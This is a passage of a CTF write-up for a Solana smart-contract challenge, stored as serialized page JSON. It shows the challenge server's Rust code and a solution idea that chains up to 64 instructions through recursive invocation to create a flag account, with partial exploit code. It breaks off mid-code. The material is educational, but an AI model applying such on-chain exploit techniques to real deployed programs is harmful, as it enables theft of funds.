1468],{"type":28,"value":720},{"type":23,"tag":134,"props":41470,"children":41471},{"style":264},[41472],{"type":28,"value":851},{"type":23,"tag":134,"props":41474,"children":41475},{"style":179},[41476],{"type":28,"value":856},{"type":23,"tag":134,"props":41478,"children":41479},{"class":136,"line":147},[41480,41485,41489,41494,41498,41503,41507,41512,41516,41521,41526,41530,41535,41539,41544,41548],{"type":23,"tag":134,"props":41481,"children":41482},{"style":264},[41483],{"type":28,"value":41484},"assert!",{"type":23,"tag":134,"props":41486,"children":41487},{"style":179},[41488],{"type":28,"value":272},{"type":23,"tag":134,"props":41490,"children":41491},{"style":162},[41492],{"type":28,"value":41493},"builder",{"type":23,"tag":134,"props":41495,"children":41496},{"style":168},[41497],{"type":28,"value":720},{"type":23,"tag":134,"props":41499,"children":41500},{"style":264},[41501],{"type":28,"value":41502},"add_program",{"type":23,"tag":134,"props":41504,"children":41505},{"style":179},[41506],{"type":28,"value":272},{"type":23,"tag":134,"props":41508,"children":41509},{"style":1461},[41510],{"type":28,"value":41511},"\"/path/to/chall.so\"",{"type":23,"tag":134,"props":41513,"children":41514},{"style":179},[41515],{"type":28,"value":242},{"type":23,"tag":134,"props":41517,"children":41518},{"style":597},[41519],{"type":28,"value":41520},"Some",{"type":23,"tag":134,"props":41522,"children":41523},{"style":179},[41524],{"type":28,"value":41525},"(chall",{"type":23,"tag":134,"props":41527,"children":41528},{"style":168},[41529],{"type":28,"value":660},{"type":23,"tag":134,"props":41531,"children":41532},{"style":179},[41533],{"type":28,"value":41534},"ID)) ",{"type":23,"tag":134,"props":41536,"children":41537},{"style":168},[41538],{"type":28,"value":8035},{"type":23,"tag":134,"props":41540,"children":41541},{"style":179},[41542],{"type":28,"value":41543}," chall",{"type":23,"tag":134,"props":41545,"children":41546},{"style":168},[41547],{"type":28,"value":660},{"type":23,"tag":134,"props":41549,"children":41550},{"style":179},[41551],{"type":28,"value":41552},"ID);\n",{"type":23,"tag":134,"props":41554,"children":41555},{"class":136,"line":185},[41556,41560,41564,41568,41572,41576,41580,41585,41589,41593,41597],{"type":23,"tag":134,"props":41557,"children":41558},{"style":151},[41559],{"type":28,"value":11254},{"type":23,"tag":134,"props":41561,"children":41562},{"style":151},[41563],{"type":28,"value":159},{"type":23,"tag":134,"props":41565,"children":41566},{"style":162},[41567],{"type":28,"value":41543},{"type":23,"tag":134,"props":41569,"children":41570},{"style":168},[41571],{"type":28,"value":171},{"type":23,"tag":134,"props":41573,"children":41574},{"style":162},[41575],{"type":28,"value":41411},{"type":23,"tag":134,"props":41577,"children":41578},{"style":168},[41579],{"type":28,"value":720},{"type":23,"tag":134,"props":41581,"children":41582},{"style":264},[41583],{"type":28,"value":41584},"build",{"type":23,"tag":134,"props":41586,"children":41587},{"style":179},[41588],{"type":28,"value":13347},{"type":23,"tag":134,"props":41590,"children":41591},{"style":168},[41592],{"type":28,"value":720},{"type":23,"tag":134,"props":41594,"children":41595},{"style":189},[41596],{"type":28,"value":32412},{"type":23,"tag":134,"props":41598,"children":41599},{"style":179},[41600],{"type":28,"value":182},{"type":23,"tag":4890,"props":41602,"children":41603},{"start":147},[41604],{"type":23,"tag":4894,"props":41605,"children":41606},{},[41607],{"type":28,"value":41608},"Funds the user account with 100 SOL",{"type":23,"tag":87,"props":41610,"children":41612},{"className":128,"code":41611,"language":127,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n    .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[41613],{"type":23,"tag":92,"props":41614,"children":41615},{"__ignoreMap":7},[41616,41649,41681,41688,41730,41762,41769,41777,41841,41860,41867],{"type":23,"tag":134,"props":41617,"children":41618},{"class":136,"line":137},[41619,41623,41628,41632,41637,41641,41645],{"type":23,"tag":134,"props":41620,"children":41621},{"style":151},[41622],{"type":28,"value":11254},{"type":23,"tag":134,"props":41624,"children":41625},{"style":162},[41626],{"type":28,"value":41627}," user_keypair",{"type":23,"tag":134,"props":41629,"children":41630},{"style":168},[41631],{"type":28,"value":171},{"type":23,"tag":134,"props":41633,"children":41634},{"style":597},[41635],{"type":28,"value":41636}," Keypair",{"type":23,"tag":134,"props":41638,"children":41639},{"style":168},[41640],{"type":28,"value":660},{"type":23,"tag":134,"props":41642,"children":41643},{"style":264},[41644],{"type":28,"value":14591},{"type":23,"tag":134,"props":41646,"children":41647},{"style":179},[41648],{"type":28,"value":856},{"type":23,"tag":134,"props":41650,"children":41651},{"class":136,"line":147},[41652,41656,41661,41665,41669,41673,41677],{"type":23,"tag":134,"props":41653,"children":41654},{"style":151},[41655],{"type":28,"value":11254},{"type":23,"tag":134,"props":41657,"children":41658},{"style":162},[41659],{"type":28,"value":41660}," user",{"type":23,"tag":134,"props":41662,"children":41663},{"style":168},[41664],{"type":28,"value":171},{"type":23,"tag":134,"props":41666,"children":41667},{"style":162},[41668],{"type":28,"value":41627},{"type":23,"tag":134,"props":41670,"children":41671},{"style":168},[41672],{"type":28,"value":720},{"type":23,"tag":134,"props":41674,"children":41675},{"style":264},[41676],{"type":28,"value":725},{"type":23,"tag":134,"props":41678,"children":41679},{"style":179},[41680],{"type":28,"value":856},{"type":23,"tag":134,"props":41682,"children":41683},{"class":136,"line":185},[41684],{"type":23,"tag":134,"props":41685,"children":41686},{"emptyLinePlaceholder":15},[41687],{"type":28,"value":865},{"type":23,"tag":134,"props":41689,"children":41690},{"class":136,"line":221},[41691,41695,41700,41704,41708,41713,41717,41721,41725],{"type":23,"tag":134,"props":41692,"children":41693},{"style":151},[41694],{"type":28,"value":11254},{"type":23,"tag":134,"props":41696,"children":41697},{"style":162},[41698],{"type":28,"value":41699}," payer_keypair",{"type":23,"tag":134,"props":41701,"children":41702},{"style":168},[41703],{"type":28,"value":171},{"type":23,"tag":134,"props":41705,"children":41706},{"style":168},[41707],{"type":28,"value":6599},{"type":23,"tag":134,"props":41709,"children":41710},{"style":162},[41711],{"type":28,"value":41712},"chall",{"type":23,"tag":134,"props":41714,"children":41715},{"style":168},[41716],{"type":28,"value":720},{"type":23,"tag":134,"props":41718,"children":41719},{"style":179},[41720],{"type":28,"value":19758},{"type":23,"tag":134,"props":41722,"children":41723},{"style":168},[41724],{"type":28,"value":720},{"type":23,"tag":134,"props":41726,"children":41727},{"style":179},[41728],{"type":28,"value":41729},"payer;\n",{"type":23,"tag":134,"props":41731,"children":41732},{"class":136,"line":332},[41733,41737,41742,41746,41750,41754,41758],{"type":23,"tag":134,"props":41734,"children":41735},{"style":151},[41736],{"type":28,"value":11254},{"type":23,"tag":134,"props":41738,"children":41739},{"style":162},[41740],{"type":28,"value":41741}," payer",{"type":23,"tag":134,"props":41743,"children":41744},{"style":168},[41745],{"type":28,"value":171},{"type":23,"tag":134,"props":41747,"children":41748},{"style":162},[41749],{"type":28,"value":41699},{"type":23,"tag":134,"props":41751,"children":41752},{"style":168},[41753],{"type":28,"value":720},{"type":23,"tag":134,"props":41755,"children":41756},{"style":264},[41757],{"type":28,"value":725},{"type":23,"tag":134,"props":41759,"children":41760},{"style":179},[41761],{"type":28,"value":856},{"type":23,"tag":134,"props":41763,"children":41764},{"class":136,"line":438},[41765],{"type":23,"tag":134,"props":41766,"children":41767},{"emptyLinePlaceholder":15},[41768],{"type":28,"value":865},{"type":23,"tag":134,"props":41770,"children":41771},{"class":136,"line":466},[41772],{"type":23,"tag":134,"props":41773,"children":41774},{"style":162},[41775],{"type":28,"value":41776},"chall\n",{"type":23,"tag":134,"props":41778,"children":41779},{"class":136,"line":479},[41780,41785,41790,41795,41799,41803,41807,41811,41816,41820,41824,41828,41832,41837],{"type":23,"tag":134,"props":41781,"children":41782},{"style":168},[41783],{"type":28,"value":41784},"    .",{"type":23,"tag":134,"props":41786,"children":41787},{"style":264},[41788],{"type":28,"value":41789},"run_ix",{"type":23,"tag":134,"props":41791,"children":41792},{"style":179},[41793],{"type":28,"value":41794},"(system_instruction",{"type":23,"tag":134,"props":41796,"children":41797},{"style":168},[41798],{"type":28,"value":660},{"type":23,"tag":134,"props":41800,"children":41801},{"style":264},[41802],{"type":28,"value":31618},{"type":23,"tag":134,"props":41804,"children":41805},{"style":179},[41806],{"type":28,"value":272},{"type":23,"tag":134,"props":41808,"children":41809},{"style":168},[41810],{"type":28,"value":277},{"type":23,"tag":134,"props":41812,"children":41813},{"style":162},[41814],{"type":28,"value":41815},"payer",{"type":23,"tag":134,"props":41817,"children":41818},{"style":179},[41819],{"type":28,"value":242},{"type":23,"tag":134,"props":41821,"children":41822},{"style":168},[41823],{"type":28,"value":277},{"type":23,"tag":134,"props":41825,"children":41826},{"style":162},[41827],{"type":28,"value":19710},{"type":23,"tag":134,"props":41829,"children":41830},{"style":179},[41831],{"type":28,"value":242},{"type":23,"tag":134,"props":41833,"children":41834},{"style":205},[41835],{"type":28,"value":41836},"100_000_000_000",{"type":23,"tag":134,"props":41838,"children":41839},{"style":179},[41840],{"type":28,"value":19189},{"type":23,"tag":134,"props":41842,"children":41843},{"class":136,"line":497},[41844,41848,41852,41856],{"type":23,"tag":134,"props":41845,"children":41846},{"style":168},[41847],{"type":28,"value":41784},{"type":23,"tag":134,"props":41849,"children":41850},{"style":189},[41851],{"type":28,"value":32412},{"type":23,"tag":134,"props":41853,"children":41854},{"style":168},[41855],{"type":28,"value":324},{"type":23,"tag":134,"props":41857,"children":41858},{"style":179},[41859],{"type":28,"value":182},{"type":23,"tag":134,"props":41861,"children":41862},{"class":136,"line":518},[41863],{"type":23,"tag":134,"props":41864,"children":41865},{"emptyLinePlaceholder":15},[41866],{"type":28,"value":865},{"type":23,"tag":134,"props":41868,"children":41869},{"class":136,"line":527},[41870,41875,41879,41883,41887,41892,41896,41900,41904,41908],{"type":23,"tag":134,"props":41871,"children":41872},{"style":264},[41873],{"type":28,"value":41874},"writeln!",{"type":23,"tag":134,"props":41876,"children":41877},{"style":179},[41878],{"type":28,"value":272},{"type":23,"tag":134,"props":41880,"children":41881},{"style":162},[41882],{"type":28,"value":41438},{"type":23,"tag":134,"props":41884,"children":41885},{"style":179},[41886],{"type":28,"value":242},{"type":23,"tag":134,"props":41888,"children":41889},{"style":1461},[41890],{"type":28,"value":41891},"\"user: {}\"",{"type":23,"tag":134,"props":41893,"children":41894},{"style":179},[41895],{"type":28,"value":242},{"type":23,"tag":134,"props":41897,"children":41898},{"style":162},[41899],{"type":28,"value":19710},{"type":23,"tag":134,"props":41901,"children":41902},{"style":179},[41903],{"type":28,"value":296},{"type":23,"tag":134,"props":41905,"children":41906},{"style":168},[41907],{"type":28,"value":324},{"type":23,"tag":134,"props":41909,"children":41910},{"style":179},[41911],{"type":28,"value":182},{"type":23,"tag":4890,"props":41913,"children":41914},{"start":185},[41915],{"type":23,"tag":4894,"props":41916,"children":41917},{},[41918],{"type":28,"value":41919},"Reads an instruction from the tcp stream and executes it",{"type":23,"tag":87,"props":41921,"children":41923},{"className":128,"code":41922,"language":127,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[41924],{"type":23,"tag":92,"props":41925,"children":41926},{"__ignoreMap":7},[41927,41977],{"type":23,"tag":134,"props":41928,"children":41929},{"class":136,"line":137},[41930,41934,41939,41943,41947,41951,41956,41960,41964,41969,41973],{"type":23,"tag":134,"props":41931,"children":41932},{"style":151},[41933],{"type":28,"value":11254},{"type":23,"tag":134,"props":41935,"children":41936},{"style":162},[41937],{"type":28,"value":41938}," solve_ix",{"type":23,"tag":134,"props":41940,"children":41941},{"style":168},[41942],{"type":28,"value":171},{"type":23,"tag":134,"props":41944,"children":41945},{"style":162},[41946],{"type":28,"value":41543},{"type":23,"tag":134,"props":41948,"children":41949},{"style":168},[41950],{"type":28,"value":720},{"type":23,"tag":134,"props":41952,"children":41953},{"style":264},[41954],{"type":28,"value":41955},"read_instruction",{"type":23,"tag":134,"props":41957,"children":41958},{"style":179},[41959],{"type":28,"value":41525},{"type":23,"tag":134,"props":41961,"children":41962},{"style":168},[41963],{"type":28,"value":660},{"type":23,"tag":134,"props":41965,"children":41966},{"style":179},[41967],{"type":28,"value":41968},"ID)",{"type":23,"tag":134,"props":41970,"children":41971},{"style":168},[41972],{"type":28,"value":324},{"type":23,"tag":134,"props":41974,"children":41975},{"style":179},[41976],{"type":28,"value":182},{"type":23,"tag":134,"props":41978,"children":41979},{"class":136,"line":147},[41980,41984,41988,41993,41997,42001,42005,42010,42014,42018,42022,42026,42031,42035,42039,42043,42047,42051,42055,42059],{"type":23,"tag":134,"props":41981,"children":41982},{"style":162},[41983],{"type":28,"value":41712},{"type":23,"tag":134,"props":41985,"children":41986},{"style":168},[41987],{"type":28,"value":720},{"type":23,"tag":134,"props":41989,"children":41990},{"style":264},[41991],{"type":28,"value":41992},"run_ixs_full",{"type":23,"tag":134,"props":41994,"children":41995},{"style":179},[41996],{"type":28,"value":272},{"type":23,"tag":134,"props":41998,"children":41999},{"style":168},[42000],{"type":28,"value":277},{"type":23,"tag":134,"props":42002,"children":42003},{"style":179},[42004],{"type":28,"value":924},{"type":23,"tag":134,"props":42006,"children":42007},{"style":162},[42008],{"type":28,"value":42009},"solve_ix",{"type":23,"tag":134,"props":42011,"children":42012},{"style":179},[42013],{"type":28,"value":22539},{"type":23,"tag":134,"props":42015,"children":42016},{"style":168},[42017],{"type":28,"value":277},{"type":23,"tag":134,"props":42019,"children":42020},{"style":179},[42021],{"type":28,"value":924},{"type":23,"tag":134,"props":42023,"children":42024},{"style":168},[42025],{"type":28,"value":277},{"type":23,"tag":134,"props":42027,"children":42028},{"style":162},[42029],{"type":28,"value":42030},"user_keypair",{"type":23,"tag":134,"props":42032,"children":42033},{"style":179},[42034],{"type":28,"value":22539},{"type":23,"tag":134,"props":42036,"children":42037},{"style":168},[42038],{"type":28,"value":277},{"type":23,"tag":134,"props":42040,"children":42041},{"style":162},[42042],{"type":28,"value":19710},{"type":23,"tag":134,"props":42044,"children":42045},{"style":179},[42046],{"type":28,"value":296},{"type":23,"tag":134,"props":42048,"children":42049},{"style":168},[42050],{"type":28,"value":720},{"type":23,"tag":134,"props":42052,"children":42053},{"style":189},[42054],{"type":28,"value":32412},{"type":23,"tag":134,"props":42056,"children":42057},{"style":168},[42058],{"type":28,"value":324},{"type":23,"tag":134,"props":42060,"children":42061},{"style":179},[42062],{"type":28,"value":182},{"type":23,"tag":4890,"props":42064,"children":42065},{"start":221},[42066],{"type":23,"tag":4894,"props":42067,"children":42068},{},[42069],{"type":28,"value":42070},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":23,"tag":87,"props":42072,"children":42074},{"className":128,"code":42073,"language":127,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n    if acct.data.len() == 0x1337\n        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n    {\n        writeln!(socket, \"congrats!\")?;\n        if let Ok(flag) = env::var(\"FLAG\") {\n            writeln!(socket, \"flag: {:?}\", flag)?;\n        } else {\n            writeln!(socket, \"flag not found, please contact admin\")?;\n        }\n    }\n}\n",[42075],{"type":23,"tag":92,"props":42076,"children":42077},{"__ignoreMap":7},[42078,42162,42253,42294,42378,42385,42422,42479,42524,42539,42575,42582,42589],{"type":23,"tag":134,"props":42079,"children":42080},{"class":136,"line":137},[42081,42085,42090,42094,42098,42102,42107,42111,42115,42119,42124,42128,42133,42138,42142,42146,42150,42154,42158],{"type":23,"tag":134,"props":42082,"children":42083},{"style":151},[42084],{"type":28,"value":11254},{"type":23,"tag":134,"props":42086,"children":42087},{"style":162},[42088],{"type":28,"value":42089}," flag",{"type":23,"tag":134,"props":42091,"children":42092},{"style":168},[42093],{"type":28,"value":171},{"type":23,"tag":134,"props":42095,"children":42096},{"style":597},[42097],{"type":28,"value":20335},{"type":23,"tag":134,"props":42099,"children":42100},{"style":168},[42101],{"type":28,"value":660},{"type":23,"tag":134,"props":42103,"children":42104},{"style":264},[42105],{"type":28,"value":42106},"create_program_address",{"type":23,"tag":134,"props":42108,"children":42109},{"style":179},[42110],{"type":28,"value":272},{"type":23,"tag":134,"props":42112,"children":42113},{"style":168},[42114],{"type":28,"value":277},{"type":23,"tag":134,"props":42116,"children":42117},{"style":179},[42118],{"type":28,"value":924},{"type":23,"tag":134,"props":42120,"children":42121},{"style":1461},[42122],{"type":28,"value":42123},"\"FLAG\"",{"type":23,"tag":134,"props":42125,"children":42126},{"style":168},[42127],{"type":28,"value":720},{"type":23,"tag":134,"props":42129,"children":42130},{"style":264},[42131],{"type":28,"value":42132},"as_ref",{"type":23,"tag":134,"props":42134,"children":42135},{"style":179},[42136],{"type":28,"value":42137},"()], ",{"type":23,"tag":134,"props":42139,"children":42140},{"style":168},[42141],{"type":28,"value":277},{"type":23,"tag":134,"props":42143,"children":42144},{"style":179},[42145],{"type":28,"value":41712},{"type":23,"tag":134,"props":42147,"children":42148},{"style":168},[42149],{"type":28,"value":660},{"type":23,"tag":134,"props":42151,"children":42152},{"style":179},[42153],{"type":28,"value":41968},{"type":23,"tag":134,"props":42155,"children":42156},{"style":168},[42157],{"type":28,"value":324},{"type":23,"tag":134,"props":42159,"children":42160},{"style":179},[42161],{"type":28,"value":182},{"type":23,"tag":134,"props":42163,"children":42164},{"class":136,"line":147},[42165,42169,42173,42177,42181,42186,42190,42194,42198,42202,42206,42210,42215,42219,42224,42228,42233,42237,42241,42245,42249],{"type":23,"tag":134,"props":42166,"children":42167},{"style":189},[42168],{"type":28,"value":15049},{"type":23,"tag":134,"props":42170,"children":42171},{"style":151},[42172],{"type":28,"value":26796},{"type":23,"tag":134,"props":42174,"children":42175},{"style":597},[42176],{"type":28,"value":26801},{"type":23,"tag":134,"props":42178,"children":42179},{"style":179},[42180],{"type":28,"value":272},{"type":23,"tag":134,"props":42182,"children":42183},{"style":162},[42184],{"type":28,"value":42185},"acct",{"type":23,"tag":134,"props":42187,"children":42188},{"style":179},[42189],{"type":28,"value":252},{"type":23,"tag":134,"props":42191,"children":42192},{"style":168},[42193],{"type":28,"value":257},{"type":23,"tag":134,"props":42195,"children":42196},{"style":162},[42197],{"type":28,"value":41543},{"type":23,"tag":134,"props":42199,"children":42200},{"style":168},[42201],{"type":28,"value":720},{"type":23,"tag":134,"props":42203,"children":42204},{"style":179},[42205],{"type":28,"value":19758},{"type":23,"tag":134,"props":42207,"children":42208},{"style":168},[42209],{"type":28,"value":720},{"type":23,"tag":134,"props":42211,"children":42212},{"style":179},[42213],{"type":28,"value":42214},"banks_client",{"type":23,"tag":134,"props":42216,"children":42217},{"style":168},[42218],{"type":28,"value":720},{"type":23,"tag":134,"props":42220,"children":42221},{"style":264},[42222],{"type":28,"value":42223},"get_account",{"type":23,"tag":134,"props":42225,"children":42226},{"style":179},[42227],{"type":28,"value":272},{"type":23,"tag":134,"props":42229,"children":42230},{"style":162},[42231],{"type":28,"value":42232},"flag",{"type":23,"tag":134,"props":42234,"children":42235},{"style":179},[42236],{"type":28,"value":296},{"type":23,"tag":134,"props":42238,"children":42239},{"style":168},[42240],{"type":28,"value":720},{"type":23,"tag":134,"props":42242,"children":42243},{"style":189},[42244],{"type":28,"value":32412},{"type":23,"tag":134,"props":42246,"children":42247},{"style":168},[42248],{"type":28,"value":324},{"type":23,"tag":134,"props":42250,"children":42251},{"style":179},[42252],{"type":28,"value":463},{"type":23,"tag":134,"props":42254,"children":42255},{"class":136,"line":185},[42256,42260,42265,42269,42273,42277,42281,42285,42289],{"type":23,"tag":134,"props":42257,"children":42258},{"style":189},[42259],{"type":28,"value":11746},{"type":23,"tag":134,"props":42261,"children":42262},{"style":162},[42263],{"type":28,"value":42264}," acct",{"type":23,"tag":134,"props":42266,"children":42267},{"style":168},[42268],{"type":28,"value":720},{"type":23,"tag":134,"props":42270,"children":42271},{"style":179},[42272],{"type":28,"value":892},{"type":23,"tag":134,"props":42274,"children":42275},{"style":168},[42276],{"type":28,"value":720},{"type":23,"tag":134,"props":42278,"children":42279},{"style":264},[42280],{"type":28,"value":8601},{"type":23,"tag":134,"props":42282,"children":42283},{"style":179},[42284],{"type":28,"value":13511},{"type":23,"tag":134,"props":42286,"children":42287},{"style":168},[42288],{"type":28,"value":8035},{"type":23,"tag":134,"props":42290,"children":42291},{"style":205},[42292],{"type":28,"value":42293}," 0x1337\n",{"type":23,"tag":134,"props":42295,"children":42296},{"class":136,"line":221},[42297,42302,42306,42310,42315,42319,42323,42327,42332,42336,42340,42344,42348,42352,42356,42360,42364,42369,42373],{"type":23,"tag":134,"props":42298,"children":42299},{"style":168},[42300],{"type":28,"value":42301},"        &&",{"type":23,"tag":134,"props":42303,"children":42304},{"style":597},[42305],{"type":28,"value":5316},{"type":23,"tag":134,"props":42307,"children":42308},{"style":168},[42309],{"type":28,"value":660},{"type":23,"tag":134,"props":42311,"children":42312},{"style":264},[42313],{"type":28,"value":42314},"from_le_bytes",{"type":23,"tag":134,"props":42316,"children":42317},{"style":179},[42318],{"type":28,"value":272},{"type":23,"tag":134,"props":42320,"children":42321},{"style":162},[42322],{"type":28,"value":42185},{"type":23,"tag":134,"props":42324,"children":42325},{"style":168},[42326],{"type":28,"value":720},{"type":23,"tag":134,"props":42328,"children":42329},{"style":179},[42330],{"type":28,"value":42331},"data[",{"type":23,"tag":134,"props":42333,"children":42334},{"style":168},[42335],{"type":28,"value":213},{"type":23,"tag":134,"props":42337,"children":42338},{"style":205},[42339],{"type":28,"value":1278},{"type":23,"tag":134,"props":42341,"children":42342},{"style":179},[42343],{"type":28,"value":14880},{"type":23,"tag":134,"props":42345,"children":42346},{"style":168},[42347],{"type":28,"value":720},{"type":23,"tag":134,"props":42349,"children":42350},{"style":264},[42351],{"type":28,"value":25653},{"type":23,"tag":134,"props":42353,"children":42354},{"style":179},[42355],{"type":28,"value":13347},{"type":23,"tag":134,"props":42357,"children":42358},{"style":168},[42359],{"type":28,"value":720},{"type":23,"tag":134,"props":42361,"children":42362},{"style":264},[42363],{"type":28,"value":851},{"type":23,"tag":134,"props":42365,"children":42366},{"style":179},[42367],{"type":28,"value":42368},"()) ",{"type":23,"tag":134,"props":42370,"children":42371},{"style":168},[42372],{"type":28,"value":8035},{"type":23,"tag":134,"props":42374,"children":42375},{"style":205},[42376],{"type":28,"value":42377}," 0x4337\n",{"type":23,"tag":134,"props":42379,"children":42380},{"class":136,"line":332},[42381],{"type":23,"tag":134,"props":42382,"children":42383},{"style":179},[42384],{"type":28,"value":28680},{"type":23,"tag":134,"props":42386,"children":42387},{"class":136,"line":438},[42388,42393,42397,42401,42405,42410,42414,42418],{"type":23,"tag":134,"props":42389,"children":42390},{"style":264},[42391],{"type":28,"value":42392},"        writeln!",{"type":23,"tag":134,"props":42394,"children":42395},{"style":179},[42396],{"type":28,"value":272},{"type":23,"tag":134,"props":42398,"children":42399},{"style":162},[42400],{"type":28,"value":41438},{"type":23,"tag":134,"props":42402,"children":42403},{"style":179},[42404],{"type":28,"value":242},{"type":23,"tag":134,"props":42406,"children":42407},{"style":1461},[42408],{"type":28,"value":42409},"\"congrats!\"",{"type":23,"tag":134,"props":42411,"children":42412},{"style":179},[42413],{"type":28,"value":296},{"type":23,"tag":134,"props":42415,"children":42416},{"style":168},[42417],{"type":28,"value":324},{"type":23,"tag":134,"props":42419,"children":42420},{"style":179},[42421],{"type":28,"value":182},{"type":23,"tag":134,"props":42423,"children":42424},{"class":136,"line":466},[42425,42429,42433,42438,42442,42446,42450,42454,42459,42463,42467,42471,42475],{"type":23,"tag":134,"props":42426,"children":42427},{"style":189},[42428],{"type":28,"value":444},{"type":23,"tag":134,"props":42430,"children":42431},{"style":151},[42432],{"type":28,"value":26796},{"type":23,"tag":134,"props":42434,"children":42435},{"style":597},[42436],{"type":28,"value":42437}," Ok",{"type":23,"tag":134,"props":42439,"children":42440},{"style":179},[42441],{"type":28,"value":272},{"type":23,"tag":134,"props":42443,"children":42444},{"style":162},[42445],{"type":28,"value":42232},{"type":23,"tag":134,"props":42447,"children":42448},{"style":179},[42449],{"type":28,"value":252},{"type":23,"tag":134,"props":42451,"children":42452},{"style":168},[42453],{"type":28,"value":257},{"type":23,"tag":134,"props":42455,"children":42456},{"style":179},[42457],{"type":28,"value":42458}," env",{"type":23,"tag":134,"props":42460,"children":42461},{"style":168},[42462],{"type":28,"value":660},{"type":23,"tag":134,"props":42464,"children":42465},{"style":264},[42466],{"type":28,"value":34544},{"type":23,"tag":134,"props":42468,"children":42469},{"style":179},[42470],{"type":28,"value":272},{"type":23,"tag":134,"props":42472,"children":42473},{"style":1461},[42474],{"type":28,"value":42123},{"type":23,"tag":134,"props":42476,"children":42477},{"style":179},[42478],{"type":28,"value":14272},{"type":23,"tag":134,"props":42480,"children":42481},{"class":136,"line":479},[42482,42487,42491,42495,42499,42504,42508,42512,42516,42520],{"type":23,"tag":134,"props":42483,"children":42484},{"style":264},[42485],{"type":28,"value":42486},"            writeln!",{"type":23,"tag":134,"props":42488,"children":42489},{"style":179},[42490],{"type":28,"value":272},{"type":23,"tag":134,"props":42492,"children":42493},{"style":162},[42494],{"type":28,"value":41438},{"type":23,"tag":134,"props":42496,"children":42497},{"style":179},[42498],{"type":28,"value":242},{"type":23,"tag":134,"props":42500,"children":42501},{"style":1461},[42502],{"type":28,"value":42503},"\"flag: {:?}\"",{"type":23,"tag":134,"props":42505,"children":42506},{"style":179},[42507],{"type":28,"value":242},{"type":23,"tag":134,"props":42509,"children":42510},{"style":162},[42511],{"type":28,"value":42232},{"type":23,"tag":134,"props":42513,"children":42514},{"style":179},[42515],{"type":28,"value":296},{"type":23,"tag":134,"props":42517,"children":42518},{"style":168},[42519],{"type":28,"value":324},{"type":23,"tag":134,"props":42521,"children":42522},{"style":179},[42523],{"type":28,"value":182},{"type":23,"tag":134,"props":42525,"children":42526},{"class":136,"line":497},[42527,42531,42535],{"type":23,"tag":134,"props":42528,"children":42529},{"style":179},[42530],{"type":28,"value":485},{"type":23,"tag":134,"props":42532,"children":42533},{"style":189},[42534],{"type":28,"value":490},{"type":23,"tag":134,"props":42536,"children":42537},{"style":179},[42538],{"type":28,"value":463},{"type":23,"tag":134,"props":42540,"children":42541},{"class":136,"line":518},[42542,42546,42550,42554,42558,42563,42567,42571],{"type":23,"tag":134,"props":42543,"children":42544},{"style":264},[42545],{"type":28,"value":42486},{"type":23,"tag":134,"props":42547,"children":42548},{"style":179},[42549],{"type":28,"value":272},{"type":23,"tag":134,"props":42551,"children":42552},{"style":162},[42553],{"type":28,"value":41438},{"type":23,"tag":134,"props":42555,"children":42556},{"style":179},[42557],{"type":28,"value":242},{"type":23,"tag":134,"props":42559,"children":42560},{"style":1461},[42561],{"type":28,"value":42562},"\"flag not found, please contact admin\"",{"type":23,"tag":134,"props":42564,"children":42565},{"style":179},[42566],{"type":28,"value":296},{"type":23,"tag":134,"props":42568,"children":42569},{"style":168},[42570],{"type":28,"value":324},{"type":23,"tag":134,"props":42572,"children":42573},{"style":179},[42574],{"type":28,"value":182},{"type":23,"tag":134,"props":42576,"children":42577},{"class":136,"line":527},[42578],{"type":23,"tag":134,"props":42579,"children":42580},{"style":179},[42581],{"type":28,"value":524},{"type":23,"tag":134,"props":42583,"children":42584},{"class":136,"line":780},[42585],{"type":23,"tag":134,"props":42586,"children":42587},{"style":179},[42588],{"type":28,"value":533},{"type":23,"tag":134,"props":42590,"children":42591},{"class":136,"line":797},[42592],{"type":23,"tag":134,"props":42593,"children":42594},{"style":179},[42595],{"type":28,"value":1098},{"type":23,"tag":61,"props":42597,"children":42599},{"id":42598},"solution-idea",[42600],{"type":28,"value":42601},"Solution Idea",{"type":23,"tag":24,"props":42603,"children":42604},{},[42605,42607,42612],{"type":28,"value":42606},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":23,"tag":92,"props":42608,"children":42610},{"className":42609},[],[42611],{"type":28,"value":35179},{"type":28,"value":42613}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":23,"tag":24,"props":42615,"children":42616},{},[42617,42619,42625],{"type":28,"value":42618},"In order to get the flag, we need to make sure that the account at ",{"type":23,"tag":92,"props":42620,"children":42622},{"className":42621},[],[42623],{"type":28,"value":42624},"PDA(\"FLAG\")",{"type":28,"value":42626}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":23,"tag":24,"props":42628,"children":42629},{},[42630,42632,42639],{"type":28,"value":42631},"Essentially, we need to ",{"type":23,"tag":31,"props":42633,"children":42636},{"href":42634,"rel":42635},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[35],[42637],{"type":28,"value":42638},"invoke the System Program",{"type":28,"value":42640},", and write controlled data into the newly created account.",{"type":23,"tag":24,"props":42642,"children":42643},{},[42644],{"type":28,"value":42645},"A sample program that does this is as follows:",{"type":23,"tag":87,"props":42647,"children":42649},{"className":128,"code":42648,"language":127,"meta":7,"style":7},"pub fn process_instruction(\n    program_id: &Pubkey,\n    accounts: &[AccountInfo],\n    data: &[u8]\n) -> ProgramResult {\n    let flag_pda_ai = &accounts[0];\n    let user_ai = &accounts[1];\n\n    // Step 1: Create a new account with 0x1337 bytes of data\n    let instruction = Instruction::new_with_bincode(\n        system_program::ID,\n        &SystemInstruction::CreateAccount {\n            space: 0x1337,\n            lamports: Rent::default().minimum_balance(0x1337),\n            owner: chall::ID\n        